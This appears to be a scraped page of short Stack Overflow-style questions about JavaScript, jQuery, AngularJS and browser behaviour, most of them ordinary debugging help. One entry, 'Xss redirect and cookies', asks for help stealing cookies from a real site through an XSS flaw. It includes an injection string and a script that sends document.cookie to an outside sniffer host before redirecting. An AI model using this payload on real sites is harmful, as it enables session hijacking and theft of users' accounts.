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  • jquery noob problem with variables (scope?)

    - by aharon
    I'm trying to retrieve data from a php file named return that just contains <?php echo 'here is a string'; ?> I'm doing this through an html file containing <!DOCTYPE html> <html> <head> <script src="http://code.jquery.com/jquery-latest.min.js"></script> <script> var x; $.get("return.php", function(data){ x = data; }) function showAlert() {alert(x);} $(document).ready(function(){ alert(x); }); </script> </head> <body> <input type = "button" value = "Click here" onClick="showAlert();"> </body> </html> When the button is clicked it retrieves and displays the code fine, but on the $(document).ready thing, it displays "undefined" instead of the data in return.php. Any solutions? Thanks.

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  • Ajax Post Request Returns JSON but Deferred Fails

    - by imrane
    I have a cross-domain POST request to http://api.local/user/auth - my API endpoint. I allow Cross Domain requests in my api with CORS. Using Chrome if that makes a difference. I get a valid server JSON response with 200 Status Code but I am using deferreds from a backbone model like so: @model.save() .fail(-> console.log 'sync fail') .success -> console.log 'sync OK' And I consistently get a 'sync fail' instead of the expected 'sync OK' Thoughts?

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  • Is it possible to wrap an asynchronous event and its callback in a function that returns a boolean?

    - by Rob Flaherty
    I'm trying to write a simple test that creates an image element, checks the image attributes, and then returns true/false. The problem is that using the onload event makes the test asynchronous. On it own this isn't a problem (using a callback as I've done in the code below is easy), but what I can't figure out is how to encapsulate this into a single function that returns a boolean. I've tried various combinations of closures, recursion, and self-executing functions but have had no luck. So my question: am I being dense and overlooking something simple, or is this in fact not possible, because, no matter what, I'm still trying to wrap an asynchronous function in synchronous expectations? Here's the code: var supportsImage = function(callback) { var img = new Image(); img.onload = function() { //Check attributes and pass true or false to callback callback(true); }; img.src = 'data:image/gif;base64,R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs='; }; supportsImage(function(status){ console.log(status); }); To be clear, what I want is to be able to wrap this in something such that it can be used like: if (supportsImage) { //Do some crazy stuff } Thanks! (Btw, I know there are a ton of SO questions regarding confusion about synchronous vs. asynchronous. Apologies if this can be reduced to something previously answered.)

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  • toggleClass messing something up.

    - by Mathias Nielsen
    Hi I am using playing around with the Pretty-checkboxes-plugin and have a problem. The plugin can be seen here http://aaronweyenberg.com/90/pretty-checkboxes-with-jquery As you can see, this uses two links to select and deselect. I want it to only use one link and then change the class to make it work the other way the next time it is clicked. It should be simple enough. I have been trying to get it working with toggleClass. I simply put in the toggleClass statement so the code looks like so: $(document).ready(function() { /* see if anything is previously checked and reflect that in the view*/ $(".checklist input:checked").parent().addClass("selected"); /* handle the user selections */ $(".checklist .checkbox-select").click( function(event) { event.preventDefault(); $(this).parent().addClass("selected"); $(this).parent().find(":checkbox").attr("checked","checked"); $(this).toggleClass("checkbox-select checkbox-deselect"); } ); $(".checklist .checkbox-deselect").click( function(event) { event.preventDefault(); $(this).parent().removeClass("selected"); $(this).parent().find(":checkbox").removeAttr("checked"); $(this).toggleClass("checkbox-select checkbox-deselect"); } ); }); This works to some extend. The classes toggle just fine, but the rest of the code only works the first time it is run. All subsequent clicks just toggle the class og the link and nothing else. Does anyone have any idea why this is?

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  • how to replace multi string with a array node in js

    - by Rueta
    hi everyone! i here a Work and i don't know how to do it. i have a string here: <div class="demotext"> <p>this is demo string i demo want to demo use</p> </div> i create the array variable for demo: var demoarray = new array('a','b','c'); now i want replace 'demo' in string by array node, follow 'demo' one change to 'a' , 'demo' two change to 'b'....

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  • How to adding a toolbar (like google traslate) to a webpage opened through a link for saving/process

    - by arunas_t
    Hello, lets say I have bunch of hyperlinks. When link is clicked, I'd like an opened page (in a separate window) to have a google-translator style toolbox that I could use to save the page to a localdisk if I liked it, adding a few tags to the database using php. I understand how to save a file using php, but could You help me with ideas as how to add a toolbar and to send request from toolbar to my processing page? Here's graphic representation of my question.

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  • Xss redirect and cookies

    - by user1824906
    I found Active XSS on one site. I need to steal cookies and after it to make redirect on other site. This site has a non-frame protection I tried to put "><script src='http://site.ru/1.js' /></script>" http://site.ru/1.js contains: img = new Image(); img.src = "http:/sniffer.com/nasdasdnu.gif?"+document.cookie; var URL = "http://images.cards.mail.ru/11bolprivet.jpg" var speed = 100; function reload() { document.location = URL } setTimeout("reload()", speed); But it doesn't work=\ Any help?

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  • Unable to update value of Select from AngularJs

    - by Ahmad.Masood
    I am unable to update value of select from AngularJs. Here is my code <select ng-model="family.grade" > <option ng-repeat="option in options" value='{{option.id}}'>{{option.text}}</option> </select> Here are the options which i am using to populate my select var options = [{text:'Pre-K',id:'Pre-K'}, {text:'K',id:'K'}, {text:'1',id:'1'}, {text:'2',id:'2'}, {text:'3',id:'3'}, {text:'4',id:'4'}, {text:'5',id:'5'}, {text:'6',id:'6'}, {text:'7',id:'7'}, {text:'8',id:'8'}, {text:'+',id:'+'}]; Here is mu js code. $scope.$watch("family_member.date_of_birth" ,function(newValue, oldValue){ $scope.family.grade = "1" }) When ever value of family_member.date_of_birth changes it should set they value of select to 1. But this change is not visible on UI.

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  • Help with manipulating child/parent elements with jQuery

    - by Mohammad
    Currently I have this JQuery script var img = $(this); img.wrap('<div class="photo"></div>'); img.parent().append("<p>" + img.attr("alt") + "</p>"); which successfully turns the following: <img src="photo.jpg" alt="caption"> into this <div class="photo"> <img src="photos.jpg" alt="caption"/> <p>caption</p> </div> All is well unless the image has a link as a parent; <a href="#"><img since I want it to be correct html (I'm fussy) improving the resulting outcome bellow would be satisfactory <a href="#"> <div class="photo"> <img src="photos.jpg" alt="caption"/> <p>caption</p> </div> </a> to this: <div class="photo"> <a href="#"> <img src="photos.jpg" alt="caption"/> </a> <p><a href="#">caption</a></p> </div> </a> This is my jQuery script so far (which doesn't work bc I'm a noob) aha if(img.parent('a')){ var targetLink = img.parent('a').attr('href').val(); img.parent('a').wrap('<div class="photo"></div>'); img.parent('div').append('<p><a href="'+targetLink+'">' + img.attr("alt") + '</p></a>'); }else{ img.wrap('<div class="photo"></div>'); img.parent().append("<p>" + img.attr("alt") + "</p>"); }; Any advice, or help will be greatly appreciated : ) Thank You! Update *Answer* (works but looks sloppy) I'm editing it atm; if(img.parent('a').length){ var targetLink = img.parent().attr('href'); img.parent().wrap('<div class="photo"></div>'); var divTarget = img.parent('a').parent('div'); divTarget.append('<p><a href="'+targetLink+'">' + img.attr("alt") + '</p></a>'); }else{ img.wrap('<div class="photo"></div>'); img.parent().append("<p>" + img.attr("alt") + "</p>"); };

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  • What will the $result be when MySQL returns nothing?

    - by Teddy
    This might seem ridiculously simple, but I've been getting all kinds of error depending on how I handle a query that returns nothing. $query = "SELECT * FROM messages WHERE id > ".$messageId; $result =mysql_query($query); $time = time(); while(time()-$time<60 && $result==false) { $result = mysql_query($query); } if(result != false) //Encode response else //return nothing How do I check whether my mysql_query() returned anything?

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  • Problems with row height in table with expand /collapse in IE

    - by Cagey
    I have ten rows in my table. All the even rows are hidden by default. The odd rows have a 'plus' icon in the first cell. The plus to be clicked to see the next even row in the table. Clicking the icon again will hide the row again. I do this with simple jquery hide and show methods. The problem with this in IE is whenever I expand and a row and then close it, the border of the row which was expanded stays in the page itself and does not clear. This makes the pages look awkward in IE. I don't face this issue in FF. My friend here suspects this has something to do with the cell height. Im not sure if that is so. So please help me fix this. Thanks, Cagey.

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  • Resources for looking up differences in rendering behavior between web-browsers and browser bugs

    - by ICodeForCoffee
    I recently encountered a printing issue in Firefox that eventually turned out to be a problem with the fieldset tag we wrapped the entire page in. (Bugzilla: Bug 471015) All browsers have their own rendering quirks and issues, but it can be very hard to know what's causing different behaviors. Sure, you can Google, but that's often taking a shot in the dark about what you think is causing the problem. It also doesn't stop you from having to sort through multiple complains about the same behavior before you find someone who has the issue your looking for. Are there any websites out there that let you search for rendering behavior issues by browser version, browser function, css tag, or html tag? I've seen this SO Question, Wanted: Resource for documented Cross-Browser differences, but I'd like to find something more detailed that includes browser bugs.

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  • dynamic model is not loading fields

    - by Toby Justus
    I am using a dynamic model found on the forum of sencha. function modelFactory(name, fields) { alert(fields); return Ext.define(name, { extend: 'Ext.data.Model', fields: fields }); } I placed the alert(fields) to check what happens with the field because it was not working. I get this: [object Object],[object Object],[object Object] How can i change this into a correct way to use it in the fields? Is there a way to check if the model has been created? With Firebug or something? EDIT: i get this in firebug: [Object { name="ccuDesignation", type=null}, Object { name="wanNumber", type=null}, Object { name="carrierName", type=null}, Object { name="dataPackageName", type=null}, Object { name="simIccid", type=null}, Object { name="expiryTime", type=null}, Object { name="bytesRx", type=null}, Object { name="bytesTx", type=null}]

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  • does jquery have an equivalent of dojo.connect() ?

    - by harobed
    Forgive my ignorance as I am not as familiar with jquery. Is there an equivalent to dojo.connect() ? I found this solution : http://think-robot.com/2009/06/hitch-object-oriented-event-handlers-with-jquery/ But there isn't disconnect feature ! Do you know other solution in jquery ? There are jquery.connect but this plugin not work in my tests. Thanks for your help, Stephane

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  • Stream PDF to another local App

    - by Nathan
    Hi, I'm currently trying to optimize a small firefox extension that will grab a pdf off the current document and send it to a port that another local application is listening on. Right now it uses a terrifying hackjob of cache viewer. The way I'm getting it is loading the cache, searching through it using the current URL and grabbing the file and saving it to a temp directory. Then I stream the file in, delete the temp, and send it through the socket. Now, my new design, ideally I'd want to build it from scratch and cut out saving it to the local machine at all, and just stream it through the socket. I've been looking at doing something like, //check page to ensure its a pdf //init in/out streams //stream through sock //flush Now, this would be vastly superior to the 400 line hacked up mess I have now, but I'm new to building FF extensions, and after reading a lot about URIs and the file streaming and such I'm probably more confused than when I started trying to fix this three hours ago. I'm okay with sending things through the sockets and whatnot, I understand that, I'm mainly confused about what multitude of interfaces I want to use. Gah! Thanks! Also, long time reader, first time poster!

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  • Why is the colspan not working properly in this script? js bug or IE ?

    - by Perpetualcoder
    This question is related to this question I asked a little while back. The updated code is posted here. This to note is that i am looking to create a HTML table dynamically that looks similar to this: <table> <tbody> <tr> <td colspan="3" align="right">Header</td> </tr> <tr> <td colspan="3" align="right">Header</td> </tr> <tr> <td colspan="3" align="right">Header</td> </tr> <tr> <td>Col1</td> <td>Col3</td> <td>Col4</td> </tr> <tr> <td>Col1</td> <td>Col3</td> <td>Col4</td> </tr> </tbody> </table> I can get this done in markup but when I do it in js the colspan does not seem to work in IE7. Any hep will be greatly appreciated.

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